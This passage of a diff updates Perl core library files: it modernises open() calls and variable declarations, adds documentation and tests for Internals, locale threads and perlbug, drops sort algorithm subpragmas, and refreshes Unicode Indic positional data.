ok( !($close) == $CHILD_ERROR, '$CHILD_ERROR should be false' );
- open(IN, "<en.tmp") if ($^O eq 'dos');
+ open(IN, "<", "en.tmp") if ($^O eq 'dos');
my $foo = <IN>;
like( $foo, qr/ok 7/, '$OFS' );
@@ -129,7 +129,7 @@ is( $keys[1], 'd|e|f', '$SUBSCRIPT_SEPARATOR' );
eval { is( $EXCEPTIONS_BEING_CAUGHT, 1, '$EXCEPTIONS_BEING_CAUGHT' ) };
ok( !$EXCEPTIONS_BEING_CAUGHT, '$EXCEPTIONS_BEING_CAUGHT should be false' );
-eval { local *F; my $f = 'asdasdasd'; ++$f while -e $f; open(F, $f); };
+eval { local *F; my $f = 'asdasdasd'; ++$f while -e $f; open(F, '<', $f); };
is( $OS_ERROR, $ERRNO, '$OS_ERROR' );
ok( $OS_ERROR{ENOENT}, '%OS_ERROR (ENOENT should be set)' );
diff --git a/gnu/usr.bin/perl/lib/ExtUtils/XSSymSet.pm b/gnu/usr.bin/perl/lib/ExtUtils/XSSymSet.pm
index 0dee12da92c..29192d8702b 100644
--- a/gnu/usr.bin/perl/lib/ExtUtils/XSSymSet.pm
+++ b/gnu/usr.bin/perl/lib/ExtUtils/XSSymSet.pm
@@ -2,8 +2,7 @@ package ExtUtils::XSSymSet;
use strict;
use Config;
-use vars qw( $VERSION );
-$VERSION = '1.3';
+our $VERSION = '1.4';
sub new {
diff --git a/gnu/usr.bin/perl/lib/File/Compare.t b/gnu/usr.bin/perl/lib/File/Compare.t
index c8c730d6fef..b7c9d9f7be8 100644
--- a/gnu/usr.bin/perl/lib/File/Compare.t
+++ b/gnu/usr.bin/perl/lib/File/Compare.t
@@ -73,7 +73,7 @@ eval {
{
local $/; #slurp
my $fh;
- open($fh,$README);
+ open($fh,'<',$README);
binmode($fh);
my $data = <$fh>;
print $tfh $data;
diff --git a/gnu/usr.bin/perl/lib/Internals.pod b/gnu/usr.bin/perl/lib/Internals.pod
new file mode 100644
index 00000000000..4a1144afd6d
--- /dev/null
+++ b/gnu/usr.bin/perl/lib/Internals.pod
@@ -0,0 +1,78 @@
+=head1 NAME
+
+Internals - Reserved special namespace for internals related functions
+
+=head1 SYNOPSIS
+
+ $is_ro= Internals::SvREADONLY($x)
+ $refcnt= Internals::SvREFCNT($x)
+ hv_clear_placeholders(%hash);
+
+=head1 DESCRIPTION
+
+The Internals namespace is used by the core Perl development team to
+expose certain low level internals routines for testing and other purposes.
+
+In theory these routines were not and are not intended to be used outside
+of the perl core, and are subject to change and removal at any time.
+
+In practice people have come to depend on these over the years, despite
+being historically undocumented, so we will provide some level of
+forward compatibility for some time. Nevertheless you can assume that any
+routine documented here is experimental or deprecated and you should find
+alternatives to their use.
+
+=head2 FUNCTIONS
+
+=over 4
+
+=item SvREFCNT(THING [, $value])
+
+Historically Perl has been a refcounted language. This means that each
+variable tracks how many things reference it, and when the variable is no
+longer referenced it will automatically free itself. In theory Perl code
+should not have to care about this, and in a future version Perl might
+change to some other strategy, although in practice this is unlikely.
+
+This function allows one to violate the abstraction of variables and get
+or set the refcount of a variable, and in generally is really only useful
+in code that is testing refcount behavior.
+
+*NOTE* You are strongly discouraged from using this function in non-test
+code and especially discouraged from using the set form of this function.
+The results of doing so may result in segmentation faults or other undefined
+behavior.
+
+=item SvREADONLY(THING, [, $value])
+
+Set or get whether a variable is readonly or not. Exactly what the
+readonly flag means depend on the type of the variable affected and the
+version of perl used.
+
+You are strongly discouraged from using this function directly. It is used
+by various core modules, like C<Hash::Util>, and the C<constant> pragma
+to implement higher-level behavior which should be used instead.
+
+See the core implementation for the exact meaning of the readonly flag for
+each internal variable type.
+
+=item hv_clear_placeholders(%hash)
+
+Clear any placeholders from a locked hash. Should not be used directly.
+You should use the wrapper functions providewd by Hash::Util instead.
+As of 5.25 also available as C< Hash::Util::_clear_placeholders(%hash) >
+
+=back
+
+=head1 AUTHOR
+
+Perl core development team.
+
+=head1 SEE ALSO
+
+L<perlguts>
+L<Hash::Util>
+L<constant>
+universal.c
+
+=cut
diff --git a/gnu/usr.bin/perl/lib/PerlIO.pm b/gnu/usr.bin/perl/lib/PerlIO.pm
index 2e27f98bba2..7658ce497bc 100644
--- a/gnu/usr.bin/perl/lib/PerlIO.pm
+++ b/gnu/usr.bin/perl/lib/PerlIO.pm
@@ -1,6 +1,6 @@
package PerlIO;
-our $VERSION = '1.09';
+our $VERSION = '1.10';
# Map layer name to package that defines it
our %alias;
@@ -104,7 +104,7 @@ is chosen to render simple text parts (i.e. non-accented letters,
digits and common punctuation) human readable in the encoded file.
(B<CAUTION>: This layer does not validate byte sequences. For reading input,
-you should instead use C<:encoding(utf8)> instead of bare C<:utf8>.)
+you should instead use C<:encoding(UTF-8)> instead of bare C<:utf8>.)
Here is how to write your native data out using UTF-8 (or UTF-EBCDIC)
and then read it back in.
diff --git a/gnu/usr.bin/perl/lib/SelectSaver.t b/gnu/usr.bin/perl/lib/SelectSaver.t
index 3b58d709ab3..757f0cd6ecb 100644
--- a/gnu/usr.bin/perl/lib/SelectSaver.t
+++ b/gnu/usr.bin/perl/lib/SelectSaver.t
@@ -9,7 +9,7 @@ print "1..3\n";
use SelectSaver;
-open(FOO, ">foo-$$") || die;
+open(FOO, ">", "foo-$$") || die;
print "ok 1\n";
{
@@ -18,7 +18,7 @@ print "ok 1\n";
}
# Get data written to file
-open(FOO, "foo-$$") || die;
+open(FOO, "<", "foo-$$") || die;
chomp($foo = <FOO>);
close FOO;
unlink "foo-$$";
diff --git a/gnu/usr.bin/perl/lib/Tie/Array.pm b/gnu/usr.bin/perl/lib/Tie/Array.pm
index e0516a2f301..192983b4287 100644
--- a/gnu/usr.bin/perl/lib/Tie/Array.pm
+++ b/gnu/usr.bin/perl/lib/Tie/Array.pm
@@ -3,7 +3,7 @@ package Tie::Array;
use 5.006_001;
use strict;
use Carp;
-our $VERSION = '1.06';
+our $VERSION = '1.07';
# Pod documentation after __END__ below.
@@ -83,8 +83,7 @@ sub DELETE {
}
package Tie::StdArray;
-use vars qw(@ISA);
-@ISA = 'Tie::Array';
+our @ISA = 'Tie::Array';
sub TIEARRAY { bless [], $_[0] }
sub FETCHSIZE { scalar @{$_[0]} }
diff --git a/gnu/usr.bin/perl/lib/Tie/Array/splice.t b/gnu/usr.bin/perl/lib/Tie/Array/splice.t
index d7ea6cc1dcc..9c86c417b0f 100644
--- a/gnu/usr.bin/perl/lib/Tie/Array/splice.t
+++ b/gnu/usr.bin/perl/lib/Tie/Array/splice.t
@@ -6,7 +6,7 @@ BEGIN {
push @INC, '../lib';
}
-# bug id 20001020.002
+# bug id 20001020.002 (#4480)
# -dlc 20001021
use Tie::Array;
diff --git a/gnu/usr.bin/perl/lib/Tie/Handle/stdhandle.t b/gnu/usr.bin/perl/lib/Tie/Handle/stdhandle.t
index 228004fce29..d2f04bcc5cb 100644
--- a/gnu/usr.bin/perl/lib/Tie/Handle/stdhandle.t
+++ b/gnu/usr.bin/perl/lib/Tie/Handle/stdhandle.t
@@ -15,7 +15,7 @@ $f = 'tst';
unlink("afile") if -f "afile";
-ok(open($f,"+>afile"), "open +>afile");
+ok(open($f, "+>", "afile"), "open +>, afile");
ok(open($f, "+<", "afile"), "open +<, afile");
ok(binmode($f), "binmode")
or diag("binmode: $!\n");
diff --git a/gnu/usr.bin/perl/lib/Tie/Scalar.t b/gnu/usr.bin/perl/lib/Tie/Scalar.t
index 9be536f8b3e..4a6fcfa5269 100644
--- a/gnu/usr.bin/perl/lib/Tie/Scalar.t
+++ b/gnu/usr.bin/perl/lib/Tie/Scalar.t
@@ -9,14 +9,13 @@ BEGIN {
package TieTest;
use Tie::Scalar;
-use vars qw( @ISA );
-@ISA = qw( Tie::Scalar );
+our @ISA = qw( Tie::Scalar );
sub new { 'Fooled you.' }
package main;
-use vars qw( $flag );
+our $flag;
use Test::More tests => 16;
use_ok( 'Tie::Scalar' );
diff --git a/gnu/usr.bin/perl/lib/Tie/StdHandle.pm b/gnu/usr.bin/perl/lib/Tie/StdHandle.pm
index 0c58b706e40..dfb86634f05 100644
--- a/gnu/usr.bin/perl/lib/Tie/StdHandle.pm
+++ b/gnu/usr.bin/perl/lib/Tie/StdHandle.pm
@@ -3,9 +3,8 @@ package Tie::StdHandle;
use strict;
use Tie::Handle;
-use vars qw(@ISA $VERSION);
-@ISA = 'Tie::Handle';
-$VERSION = '4.4';
+our @ISA = 'Tie::Handle';
+our $VERSION = '4.5';
=head1 NAME
diff --git a/gnu/usr.bin/perl/lib/locale_threads.t b/gnu/usr.bin/perl/lib/locale_threads.t
new file mode 100644
index 00000000000..cda570be3a3
--- /dev/null
+++ b/gnu/usr.bin/perl/lib/locale_threads.t
@@ -0,0 +1,119 @@
+use strict;
+use warnings;
+
+# This file tests interactions with locale and threads
+
+BEGIN {
+ chdir 't' if -d 't';
+ require './test.pl';
+ set_up_inc('../lib');
+ require './loc_tools.pl';
+ skip_all("No locales") unless locales_enabled();
+ skip_all_without_config('useithreads');
+ $| = 1;
+ eval { require POSIX; POSIX->import(qw(locale_h unistd_h)) };
+ if ($@) {
+ skip_all("could not load the POSIX module"); # running minitest?
+ }
+}
+
+# reset the locale environment
+local @ENV{'LANG', (grep /^LC_/, keys %ENV)};
+
+SKIP: { # perl #127708
+ my @locales = grep { $_ !~ / ^ C \b | POSIX /x } find_locales('LC_MESSAGES');
+ skip("No valid locale to test with", 1) unless @locales;
+
+ local $ENV{LC_MESSAGES} = $locales[0];
+
+ # We're going to try with all possible error numbers on this platform
+ my $error_count = keys(%!) + 1;
+
+ print fresh_perl("
+ use threads;
+ use strict;
+ use warnings;
+
+ my \$errnum = 1;
+
+ my \@threads = map +threads->create(sub {
+ sleep 0.1;
+
+ for (1..5_000) {
+ \$errnum = (\$errnum + 1) % $error_count;
+ \$! = \$errnum;
+
+ # no-op to trigger stringification
+ next if \"\$!\" eq \"\";
+ }
+ }), (0..1);
+ \$_->join for splice \@threads;",
+ {}
+ );
+
+ pass("Didn't segfault");
+}
+
+SKIP: {
+ skip("POSIX version doesn't support thread-safe locale operations", 1)
+ unless ${^SAFE_LOCALES};
+
+ my @locales = find_locales( 'LC_NUMERIC' );
+ skip("No LC_NUMERIC locales available", 1) unless @locales;
+
+ my $dot = "";
+ my $comma = "";
+ for (@locales) { # prefer C for the base if available
+ use locale;
+ setlocale(LC_NUMERIC, $_) or next;
+ my $in = 4.2; # avoid any constant folding bugs
+ if ((my $s = sprintf("%g", $in)) eq "4.2") {
+ $dot ||= $_;
+ } else {
+ my $radix = localeconv()->{decimal_point};
+ $comma ||= $_ if $radix eq ',';
+ }
+
+ last if $dot && $comma;
+ }
+
+ # See if multiple threads can simultaneously change the locale, and give
+ # the expected radix results. On systems without a comma radix locale,
+ # run this anyway skipping the use of that, to verify that we don't
+ # segfault
+ fresh_perl_is("
+ use threads;
+ use strict;
+ use warnings;
+ use POSIX qw(locale_h);
+
+ my \$result = 1;
+
+ my \@threads = map +threads->create(sub {
+ sleep 0.1;
+ for (1..5_000) {
+ my \$s;
+ my \$in = 4.2; # avoid any constant folding bugs
+
+ if ('$comma') {
+ setlocale(&LC_NUMERIC, '$comma');
+ use locale;
+ \$s = sprintf('%g', \$in);
+ return 0 if (\$s ne '4,2');
+ }
+
+ setlocale(&LC_NUMERIC, '$dot');
+ \$s = sprintf('%g', \$in);
+ return 0 if (\$s ne '4.2');
+ }
+
+ return 1;
+
+ }), (0..3);
+ \$result &= \$_->join for splice \@threads;
+ print \$result",
+ 1, {}, "Verify there were no failures with simultaneous running threads"
+ );
+}
+
+done_testing();
diff --git a/gnu/usr.bin/perl/lib/open.pm b/gnu/usr.bin/perl/lib/open.pm
index fd22e1b9e71..ca3cf7b409e 100644
--- a/gnu/usr.bin/perl/lib/open.pm
+++ b/gnu/usr.bin/perl/lib/open.pm
@@ -1,7 +1,7 @@
package open;
use warnings;
-our $VERSION = '1.10';
+our $VERSION = '1.11';
require 5.008001; # for PerlIO::get_layers()
@@ -153,7 +153,7 @@ open - perl pragma to set default PerlIO layers for input and output
use open IO => ':locale';
- use open ':encoding(utf8)';
+ use open ':encoding(UTF-8)';
use open ':locale';
use open ':encoding(iso-8859-7)';
@@ -195,8 +195,8 @@ For example:
These are equivalent
- use open ':encoding(utf8)';
- use open IO => ':encoding(utf8)';
+ use open ':encoding(UTF-8)';
+ use open IO => ':encoding(UTF-8)';
as are these
@@ -221,8 +221,8 @@ The C<:std> subpragma on its own has no effect, but if combined with
the C<:utf8> or C<:encoding> subpragmas, it converts the standard
filehandles (STDIN, STDOUT, STDERR) to comply with encoding selected
for input/output handles. For example, if both input and out are
-chosen to be C<:encoding(utf8)>, a C<:std> will mean that STDIN, STDOUT,
-and STDERR are also in C<:encoding(utf8)>. On the other hand, if only
+chosen to be C<:encoding(UTF-8)>, a C<:std> will mean that STDIN, STDOUT,
+and STDERR are also in C<:encoding(UTF-8)>. On the other hand, if only
output is chosen to be in C<< :encoding(koi8r) >>, a C<:std> will cause
only the STDOUT and STDERR to be in C<koi8r>. The C<:locale> subpragma
implicitly turns on C<:std>.
diff --git a/gnu/usr.bin/perl/lib/perl5db/t/rt-120174 b/gnu/usr.bin/perl/lib/perl5db/t/rt-120174
new file mode 100644
index 00000000000..c79c8510699
--- /dev/null
+++ b/gnu/usr.bin/perl/lib/perl5db/t/rt-120174
@@ -0,0 +1,4 @@
+@abc = (1..4);
+print "hello world\n";
+%xyz = ( 'alpha' => 'beta', 'gamma' => 'delta' );
+print "goodbye world\n";
diff --git a/gnu/usr.bin/perl/lib/perlbug.t b/gnu/usr.bin/perl/lib/perlbug.t
new file mode 100644
index 00000000000..bb6180bcfa2
--- /dev/null
+++ b/gnu/usr.bin/perl/lib/perlbug.t
@@ -0,0 +1,165 @@
+#!./perl
+use strict;
+
+# test that perlbug generates somewhat sane reports, but don't
+# actually send them
+
+BEGIN {
+ chdir 't' if -d 't';
+ @INC = '../lib';
+}
+
+require './test.pl';
+
+# lifted from perl5db.t
+my $extracted_program = '../utils/perlbug'; # unix, nt, ...
+if ($^O eq 'VMS') { $extracted_program = '[-.utils]perlbug.com'; }
+if (!(-e $extracted_program)) {
+ print "1..0 # Skip: $extracted_program was not built\n";
+ exit 0;
+}
+
+my $result;
+my $testreport = 'test.rep';
+unlink $testreport;
+
+sub _slurp {
+ my $file = shift;
+ ok(-f $file, "saved report $file exists");
+ open(F, '<', $file) or return undef;
+ local $/;
+ my $ret = <F>;
+ close F;
+ $ret;
+}
+
+sub _dump {
+ my $file = shift;
+ my $contents = shift;
+ open(F, '>', $file) or return;
+ print F $contents;
+ close F;
+ return 1;
+}
+
+plan(25);
+
+
+# check -d
+$result = runperl( progfile => $extracted_program,
+ args => ['-d'] );
+like($result, qr/Site configuration information/,
+ 'config information dumped with -d');
+
+
+# check -v
+$result = runperl( progfile => $extracted_program,
+ args => ['-d', '-v'] );
+like($result, qr/Complete configuration data/,
+ 'full config information dumped with -d -v');
+
+# check that we need -t
+$result = runperl( progfile => $extracted_program,
+ stderr => 1, # perlbug dies with "\n";
+ stdin => undef);
+like($result, qr/Please use perlbug interactively./,
+ 'checks for terminal in non-test mode');
+
+
+# test -okay (mostly noninteractive)
+$result = runperl( progfile => $extracted_program,
+ args => ['-okay', '-F', $testreport] );
+like($result, qr/Message saved/, 'build report saved');
+like(_slurp($testreport), qr/Perl reported to build OK on this system/,
+ 'build report looks sane');
+unlink $testreport;
+
+
+# test -nokay (a bit more interactive)
+$result = runperl( progfile => $extracted_program,
+ stdin => 'f', # save to File
+ args => ['-t',
+ '-nokay',
+ '-e', 'file',
+ '-F', $testreport] );
+like($result, qr/Message saved/, 'build failure report saved');
+like(_slurp($testreport), qr/This is a build failure report for perl/,
+ 'build failure report looks sane');
+unlink $testreport;
+
+
+# test a regular report
+$result = runperl( progfile => $extracted_program,
+ # no CLI options for these
+ stdin => "\n" # Module
+ . "\n" # Category
+ . "\n" # Severity
+ . "\n" # Editor
+ . "f", # save to File
+ args => ['-t',
+ # runperl has trouble with whitespace
+ '-s', "testingperlbug",
+ '-r', 'username@example.com',
+ '-c', 'none',
+ '-b', 'testreportbody',
+ '-e', 'file',
+ '-F', $testreport] );
+like($result, qr/Message saved/, 'fake bug report saved');
+my $contents = _slurp($testreport);
+like($contents, qr/Subject: testingperlbug/,
+ 'Subject included in fake bug report');
+like($contents, qr/testreportbody/, 'body included in fake bug report');
+unlink $testreport;
+
+
+# test wrapping of long lines
+my $body = 'body.txt';
+unlink $body;
+my $A = 'A'x9;
+ok(_dump($body, ("$A "x120)), 'wrote 1200-char body to file');
+
+my $attachment = 'attached.txt';
+unlink $attachment;
+my $B = 'B'x9;
+ok(_dump($attachment, ("$B "x120)), 'wrote 1200-char attachment to file');
+
+$result = runperl( progfile => $extracted_program,
+ stdin => "testing perlbug\n" # Subject
+ . "\n" # Module
+ . "\n" # Category
+ . "\n" # Severity
+ . "f", # save to File
+ args => ['-t',
+ '-r', 'username@example.com',
+ '-c', 'none',
+ '-f', $body,
+ '-p', $attachment,
+ '-e', 'file',
+ '-F', $testreport] );
+like($result, qr/Message saved/, 'fake bug report saved');
+my $contents = _slurp($testreport);
+unlink $testreport, $body, $attachment;
+like($contents, qr/Subject: testing perlbug/,
+ 'Subject included in fake bug report');
+like($contents, qr/$A/, 'body included in fake bug report');
+like($contents, qr/$B/, 'attachment included in fake bug report');
+
+my $maxlen1 = 0; # body
+my $maxlen2 = 0; # attachment
+for (split(/\n/, $contents)) {
+ my $len = length;
+ $maxlen1 = $len if $len > $maxlen1 and !/$B/;
+ $maxlen2 = $len if $len > $maxlen2 and /$B/;
+}
+ok($maxlen1 < 1000, "[perl #128020] long body lines are wrapped: maxlen $maxlen1");
+ok($maxlen2 > 1000, "long attachment lines are not wrapped: maxlen $maxlen2");
+
+$result = runperl( progfile => $extracted_program, stderr => 1, args => ['-o'] ); # Invalid option
+like($result, qr/^\s*This program is designed/, "No leading error messages with help from invalid arg.");
+
+$result = runperl( progfile => $extracted_program, stderr => 1, args => ['--help'] ); # Invalid option
+like($result, qr/^\s*perlbug version \d+\.\d+\n+This program is designed/, "No leading error messages with help from --help and version is displayed.");
+
+$result = runperl( progfile => $extracted_program, stderr => 1, args => ['--version'] ); # Invalid option
+like($result, qr/^perlbug version \d+\.\d+\n$/, "No leading error messages with --version");
+#print $result;
diff --git a/gnu/usr.bin/perl/lib/sort.pm b/gnu/usr.bin/perl/lib/sort.pm
index 7c8e50db577..659f3e4f4d8 100644
--- a/gnu/usr.bin/perl/lib/sort.pm
+++ b/gnu/usr.bin/perl/lib/sort.pm
@@ -1,14 +1,12 @@
package sort;
-our $VERSION = '2.02';
+our $VERSION = '2.04';
# The hints for pp_sort are now stored in $^H{sort}; older versions
# of perl used the global variable $sort::hints. -- rjh 2005-12-19
-$sort::quicksort_bit = 0x00000001;
-$sort::mergesort_bit = 0x00000002;
-$sort::sort_bits = 0x000000FF; # allow 256 different ones
$sort::stable_bit = 0x00000100;
+$sort::unstable_bit = 0x00000200;
use strict;
@@ -21,14 +19,9 @@ sub import {
local $_;
$^H{sort} //= 0;
while ($_ = shift(@_)) {
- if (/^_q(?:uick)?sort$/) {
- $^H{sort} &= ~$sort::sort_bits;
- $^H{sort} |= $sort::quicksort_bit;
- } elsif ($_ eq '_mergesort') {
- $^H{sort} &= ~$sort::sort_bits;
- $^H{sort} |= $sort::mergesort_bit;
- } elsif ($_ eq 'stable') {
+ if ($_ eq 'stable') {
$^H{sort} |= $sort::stable_bit;
+ $^H{sort} &= ~$sort::unstable_bit;
} elsif ($_ eq 'defaults') {
$^H{sort} = 0;
} else {
@@ -47,12 +40,9 @@ sub unimport {
local $_;
no warnings 'uninitialized'; # bitops would warn
while ($_ = shift(@_)) {
- if (/^_q(?:uick)?sort$/) {
- $^H{sort} &= ~$sort::sort_bits;
- } elsif ($_ eq '_mergesort') {
- $^H{sort} &= ~$sort::sort_bits;
- } elsif ($_ eq 'stable') {
+ if ($_ eq 'stable') {
$^H{sort} &= ~$sort::stable_bit;
+ $^H{sort} |= $sort::unstable_bit;
} else {
require Carp;
Carp::croak("sort: unknown subpragma '$_'");
@@ -63,11 +53,8 @@ sub unimport {
sub current {
my @sort;
if ($^H{sort}) {
- push @sort, 'quicksort' if $^H{sort} & $sort::quicksort_bit;
- push @sort, 'mergesort' if $^H{sort} & $sort::mergesort_bit;
push @sort, 'stable' if $^H{sort} & $sort::stable_bit;
}
- push @sort, 'mergesort' unless @sort;
join(' ', @sort);
}
@@ -81,16 +68,12 @@ sort - perl pragma to control sort() behaviour
=head1 SYNOPSIS
use sort 'stable'; # guarantee stability
- use sort '_quicksort'; # use a quicksort algorithm
- use sort '_mergesort'; # use a mergesort algorithm
use sort 'defaults'; # revert to default behavior
no sort 'stable'; # stability not important
- use sort '_qsort'; # alias for quicksort
-
my $current;
BEGIN {
- $current = sort::current(); # identify prevailing algorithm
+ $current = sort::current(); # identify prevailing pragmata
}
=head1 DESCRIPTION
@@ -98,15 +81,8 @@ sort - perl pragma to control sort() behaviour
With the C<sort> pragma you can control the behaviour of the builtin
C<sort()> function.
-In Perl versions 5.6 and earlier the quicksort algorithm was used to
-implement C<sort()>, but in Perl 5.8 a mergesort algorithm was also made
-available, mainly to guarantee worst case O(N log N) behaviour:
-the worst case of quicksort is O(N**2). In Perl 5.8 and later,
-quicksort defends against quadratic behaviour by shuffling large
-arrays before sorting.
-
A stable sort means that for records that compare equal, the original
-input ordering is preserved. Mergesort is stable, quicksort is not.
+input ordering is preserved.
Stability will matter only if elements that compare equal can be
distinguished in some other way. That means that simple numerical
and lexical sorts do not profit from stability, since equal elements
@@ -116,22 +92,10 @@ are indistinguishable. However, with a comparison such as
stability might matter because elements that compare equal on the
first 3 characters may be distinguished based on subsequent characters.
-In Perl 5.8 and later, quicksort can be stabilized, but doing so will
-add overhead, so it should only be done if it matters.
-
-The best algorithm depends on many things. On average, mergesort
-does fewer comparisons than quicksort, so it may be better when
-complicated comparison routines are used. Mergesort also takes
-advantage of pre-existing order, so it would be favored for using
-C<sort()> to merge several sorted arrays. On the other hand, quicksort
-is often faster for small arrays, and on arrays of a few distinct
-values, repeated many times. You can force the
-choice of algorithm with this pragma, but this feels heavy-handed,
-so the subpragmas beginning with a C<_> may not persist beyond Perl 5.8.
-The default algorithm is mergesort, which will be stable even if
-you do not explicitly demand it.
-But the stability of the default sort is a side-effect that could
-change in later versions. If stability is important, be sure to
+
+Whether sorting is stable by default is an accident of implementation
+that can change (and has changed) between Perl versions.
+If stability is important, be sure to
say so with a
use sort 'stable';
@@ -139,15 +103,9 @@ say so with a
The C<no sort> pragma doesn't
I<forbid> what follows, it just leaves the choice open. Thus, after
- no sort qw(_mergesort stable);
-
-a mergesort, which happens to be stable, will be employed anyway.
-Note that
-
- no sort "_quicksort";
- no sort "_mergesort";
+ no sort 'stable';
-have exactly the same effect, leaving the choice of sort algorithm open.
+sorting may happen to be stable anyway.
=head1 CAVEATS
@@ -156,8 +114,7 @@ at compile time. In earlier versions its effect was global and took
effect at run-time; the documentation suggested using C<eval()> to
change the behaviour:
- { eval 'use sort qw(defaults _quicksort)'; # force quicksort
- eval 'no sort "stable"'; # stability not wanted
+ { eval 'no sort "stable"'; # stability not wanted
print sort::current . "\n";
@a = sort @b;
eval 'use sort "defaults"'; # clean up, for others
@@ -177,8 +134,7 @@ is the one that matters.
So now this code would be written:
- { use sort qw(defaults _quicksort); # force quicksort
- no sort "stable"; # stability not wanted
+ { no sort "stable"; # stability not wanted
my $current;
BEGIN { $current = sort::current; }
print "$current\n";
diff --git a/gnu/usr.bin/perl/lib/unicore/IndicPositionalCategory.txt b/gnu/usr.bin/perl/lib/unicore/IndicPositionalCategory.txt
index 92cca55851c..40d8b3765f7 100644
--- a/gnu/usr.bin/perl/lib/unicore/IndicPositionalCategory.txt
+++ b/gnu/usr.bin/perl/lib/unicore/IndicPositionalCategory.txt
@@ -1,9 +1,9 @@
-# IndicPositionalCategory-8.0.0.txt
-# Date: 2015-05-12, 10:00:00 GMT [RP, KW, LI]
-#
-# Unicode Character Database
-# Copyright (c) 1991-2015 Unicode, Inc.
+# IndicPositionalCategory-10.0.0.txt
+# Date: 2017-05-31, 01:07:00 GMT [RP]
+# © 2017 Unicode®, Inc.
+# Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
# For terms of use, see http://www.unicode.org/terms_of_use.html
+#
# For documentation, see UAX #44: Unicode Character Database,
# at http://www.unicode.org/reports/tr44/
#
@@ -56,13 +56,14 @@
# in the structural sense used for the Indic_Positional_Category are the
# following:
#
-# Ahom, Balinese, Batak, Bengali, Brahmi, Buginese, Buhid, Chakma,
-# Cham, Devanagari, Grantha, Gujarati, Gurmukhi, Hanunoo, Javanese,
-# Kaithi, Kannada, Kharoshthi, Khmer, Khojki, Khudawadi, Lao, Lepcha,
-# Limbu, Malayalam, Meetei Mayek, Modi, Myanmar, New Tai Lue, Oriya,
-# Rejang, Saurashtra, Sharada, Siddham, Sinhala, Sundanese, Syloti
-# Nagri, Tagalog, Tagbanwa, Tai Tham, Tai Viet, Takri, Tamil, Telugu,
-# Thai, Tibetan, and Tirhuta.
+# Ahom, Balinese, Batak, Bengali, Bhaiksuki, Brahmi, Buginese, Buhid,
+# Chakma, Cham, Devanagari, Grantha, Gujarati, Gurmukhi, Hanunoo,
+# Javanese, Kaithi, Kannada, Kharoshthi, Khmer, Khojki, Khudawadi,
+# Lao, Lepcha, Limbu, Malayalam, Marchen, Masaram Gondi, Meetei
+# Mayek, Modi, Myanmar, Newa, New Tai Lue, Oriya, Rejang, Saurashtra,
+# Sharada, Siddham, Sinhala, Soyombo, Sundanese, Syloti Nagri,
+# Tagalog, Tagbanwa, Tai Tham, Tai Viet, Takri, Tamil, Telugu, Thai,
+# Tibetan, Tirhuta, and Zanabazar Square.
#
# All characters for all other scripts not in that list
# take the default value for this property.
@@ -73,6 +74,14 @@
# Indic scripts without positional characters are
# Kayah Li, Mahajani, Multani, Phags-pa, and Tai Le.
#
+# Note: The following characters are all assigned the positional category
+# Right, but may have different positions in some cases:
+# * U+0BC1 TAMIL VOWEL SIGN U and U+0BC2 TAMIL VOWEL SIGN UU have
+# contextually variable placement in Tamil.
+# * U+0D41 MALAYALAM VOWEL SIGN U and U+0D42 MALAYALAM VOWEL SIGN UU form
+# complex ligatures with consonants in older Malayalam orthography.
+# * U+11341 GRANTHA VOWEL SIGN U and U+11342 GRANTHA VOWEL SIGN UU have
+# contextually variable placement in Grantha.
# ================================================
@@ -109,7 +118,6 @@
0B40 ; Right # Mc ORIYA VOWEL SIGN II
0BBE..0BBF ; Right # Mc [2] TAMIL VOWEL SIGN AA..TAMIL VOWEL SIGN I
0BC1..0BC2 ; Right # Mc [2] TAMIL VOWEL SIGN U..TAMIL VOWEL SIGN UU
-# Note: U and UU have contextually variable placement in Tamil.
0BD7 ; Right # Mc TAMIL AU LENGTH MARK
0C01..0C03 ; Right # Mc [3] TELUGU SIGN CANDRABINDU..TELUGU SIGN VISARGA
0C41..0C44 ; Right # Mc [4] TELUGU VOWEL SIGN U..TELUGU VOWEL SIGN VOCALIC RR
@@ -120,7 +128,6 @@
0D02..0D03 ; Right # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
0D3E..0D40 ; Right # Mc [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
0D41..0D42 ; Right # Mn [2] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN UU
-# Note: U and UU form complex ligatures with consonants in older Malayalam orthography.
0D57 ; Right # Mc MALAYALAM AU LENGTH MARK
0D82..0D83 ; Right # Mc [2] SINHALA SIGN ANUSVARAYA..SINHALA SIGN VISARGAYA
0DCF..0DD1 ; Right # Mc [3] SINHALA VOWEL SIGN AELA-PILLA..SINHALA VOWEL SIGN DIGA AEDA-PILLA
@@ -173,6 +180,7 @@
1C24..1C26 ; Right # Mc [3] LEPCHA SUBJOINED LETTER YA..LEPCHA VOWEL SIGN AA
1C2A..1C2B ; Right # Mc [2] LEPCHA VOWEL SIGN U..LEPCHA VOWEL SIGN UU
1CE1 ; Right # Mc VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA
+1CF7 ; Right # Mc VEDIC SIGN ATIKRAMA
A823..A824 ; Right # Mc [2] SYLOTI NAGRI VOWEL SIGN A..SYLOTI NAGRI VOWEL SIGN I
A827 ; Right # Mc SYLOTI NAGRI VOWEL SIGN OO
A880..A881 ; Right # Mc [2] SAURASHTRA SIGN ANUSVARA..SAURASHTRA SIGN VISARGA
@@ -180,7 +188,7 @@ A8B4..A8C3 ; Right # Mc [16] SAURASHTRA CONSONANT SIGN HAARU..SAURASHTRA VOW
A952..A953 ; Right # Mc [2] REJANG CONSONANT SIGN H..REJANG VIRAMA
A983 ; Right # Mc JAVANESE SIGN WIGNYAN
A9B4..A9B5 ; Right # Mc [2] JAVANESE VOWEL SIGN TARUNG..JAVANESE VOWEL SIGN TOLONG
-A9BD..A9BF ; Right # Mc [3] JAVANESE CONSONANT SIGN KERET..JAVANESE CONSONANT SIGN CAKRA
+A9BD..A9BE ; Right # Mc [2] JAVANESE CONSONANT SIGN KERET..JAVANESE CONSONANT SIGN PENGKAL
AA33 ; Right # Mc CHAM CONSONANT SIGN YA
AA4D ; Right # Mc CHAM CONSONANT SIGN FINAL H
AA7B ; Right # Mc MYANMAR SIGN PAO KAREN TONE
@@ -210,12 +218,14 @@ ABEC ; Right # Mc MEETEI MAYEK LUM IYEK
112E2 ; Right # Mc KHUDAWADI VOWEL SIGN II
11302..11303 ; Right # Mc [2] GRANTHA SIGN ANUSVARA..GRANTHA SIGN VISARGA
